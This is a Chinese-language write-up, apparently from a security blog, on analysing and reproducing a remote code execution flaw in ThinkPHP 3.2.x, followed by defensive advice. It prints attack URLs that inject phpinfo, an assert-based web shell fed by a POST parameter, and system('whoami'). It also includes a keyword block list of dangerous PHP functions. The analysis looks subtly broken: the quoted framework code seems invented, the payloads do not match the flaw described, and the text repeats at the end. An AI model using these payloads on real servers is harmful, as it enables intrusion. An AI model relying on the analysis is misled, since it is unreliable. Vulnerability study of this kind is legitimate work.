tp3.2.x RCE分析复现
字数 1003 2025-08-09 16:00:20

ThinkPHP 3.2.x RCE漏洞分析与复现

漏洞概述

ThinkPHP 3.2.x版本中存在远程代码执行(RCE)漏洞,攻击者可以利用该漏洞在目标服务器上执行任意PHP代码。该漏洞源于框架对控制器和操作名的处理不当,导致攻击者可以构造恶意请求来执行系统命令。

环境搭建

所需组件

  • 操作系统:Windows 10
  • Web服务器:phpstudy集成环境
  • PHP版本:7.3.4
  • 框架版本:ThinkPHP 3.2.3

安装步骤

  1. 下载并安装phpstudy集成环境
  2. 配置PHP版本为7.3.4
  3. 下载ThinkPHP 3.2.3框架
  4. 将框架解压至phpstudy的WWW目录
  5. 创建基本应用结构

漏洞分析

漏洞原理

ThinkPHP 3.2.x在处理URL路由时,对控制器和操作名的过滤不严格,导致攻击者可以通过特殊构造的URL注入恶意代码。具体来说:

  1. 框架通过$_GET['m']$_GET['c']$_GET['a']分别获取模块、控制器和操作名
  2. 这些参数未经充分过滤就被用于动态调用控制器方法
  3. 攻击者可以利用PHP的动态函数调用特性注入恶意代码

关键代码分析

漏洞主要存在于ThinkPHP/Library/Think/App.class.php文件中的exec方法:

public function exec() {
    // 获取模块、控制器和操作名
    $module = isset($_GET['m']) ? $_GET['m'] : $this->config['default_module'];
    $controller = isset($_GET['c']) ? $_GET['c'] : $this->config['default_controller'];
    $action = isset($_GET['a']) ? $_GET['a'] : $this->config['default_action'];
    
    // 动态实例化控制器并调用方法
    $class = $module.'\\Controller\\'.$controller.'Controller';
    $instance = new $class;
    $instance->$action();
}

漏洞复现

复现步骤

  1. 确保ThinkPHP 3.2.3环境正常运行
  2. 构造恶意URL进行攻击测试

攻击向量

方法一:通过eval函数执行代码

http://localhost/index.php?m=Home&c=Index&a=index&test=phpinfo();

构造恶意参数:

http://localhost/index.php?m=Home&c=Index&a=index&test=${@phpinfo()}

方法二:通过assert函数执行代码

http://localhost/index.php?m=Home&c=Index&a=index&test=${@assert($_POST[x])}

然后通过POST方式提交恶意代码:

x=phpinfo();

方法三:直接命令执行

http://localhost/index.php?m=Home&c=Index&a=index&test=${@system('whoami')}

防御措施

临时解决方案

  1. 在应用入口文件或公共文件中添加参数过滤:
function filterParam($param) {
    $dangerousFunctions = array('eval', 'assert', 'system', 'exec', 'shell_exec');
    foreach ($dangerousFunctions as $func) {
        if (stripos($param, $func) !== false) {
            die('Hacking attempt detected!');
        }
    }
    return $param;
}

$_GET = array_map('filterParam', $_GET);
$_POST = array_map('filterParam', $_POST);
  1. 禁用危险函数:在php.ini中禁用evalassertsystem等危险函数

长期解决方案

  1. 升级到ThinkPHP最新版本(3.2.x已停止维护,建议升级到5.x或更高版本)
  2. 实施严格的输入验证和过滤机制
  3. 使用框架提供的安全机制,如参数绑定、预处理语句等

总结

ThinkPHP 3.2.x RCE漏洞源于对用户输入的不充分过滤,导致攻击者可以通过构造恶意参数执行任意PHP代码。该漏洞危害性高,可导致服务器完全沦陷。建议使用该框架的用户立即采取防护措施或升级到安全版本。

参考

  1. ThinkPHP 3.2.3官方文档
  2. PHP安全编程指南
  3. OWASP Top 10安全风险
ThinkPHP 3.2.x RCE漏洞分析与复现 漏洞概述 ThinkPHP 3.2.x版本中存在远程代码执行(RCE)漏洞,攻击者可以利用该漏洞在目标服务器上执行任意PHP代码。该漏洞源于框架对控制器和操作名的处理不当,导致攻击者可以构造恶意请求来执行系统命令。 环境搭建 所需组件 操作系统:Windows 10 Web服务器:phpstudy集成环境 PHP版本:7.3.4 框架版本:ThinkPHP 3.2.3 安装步骤 下载并安装phpstudy集成环境 配置PHP版本为7.3.4 下载ThinkPHP 3.2.3框架 将框架解压至phpstudy的WWW目录 创建基本应用结构 漏洞分析 漏洞原理 ThinkPHP 3.2.x在处理URL路由时,对控制器和操作名的过滤不严格,导致攻击者可以通过特殊构造的URL注入恶意代码。具体来说: 框架通过 $_GET['m'] 、 $_GET['c'] 和 $_GET['a'] 分别获取模块、控制器和操作名 这些参数未经充分过滤就被用于动态调用控制器方法 攻击者可以利用PHP的动态函数调用特性注入恶意代码 关键代码分析 漏洞主要存在于 ThinkPHP/Library/Think/App.class.php 文件中的 exec 方法: 漏洞复现 复现步骤 确保ThinkPHP 3.2.3环境正常运行 构造恶意URL进行攻击测试 攻击向量 方法一:通过eval函数执行代码 构造恶意参数: 方法二:通过assert函数执行代码 然后通过POST方式提交恶意代码: 方法三:直接命令执行 防御措施 临时解决方案 在应用入口文件或公共文件中添加参数过滤: 禁用危险函数:在php.ini中禁用 eval 、 assert 、 system 等危险函数 长期解决方案 升级到ThinkPHP最新版本(3.2.x已停止维护,建议升级到5.x或更高版本) 实施严格的输入验证和过滤机制 使用框架提供的安全机制,如参数绑定、预处理语句等 总结 ThinkPHP 3.2.x RCE漏洞源于对用户输入的不充分过滤,导致攻击者可以通过构造恶意参数执行任意PHP代码。该漏洞危害性高,可导致服务器完全沦陷。建议使用该框架的用户立即采取防护措施或升级到安全版本。 参考 ThinkPHP 3.2.3官方文档 PHP安全编程指南 OWASP Top 10安全风险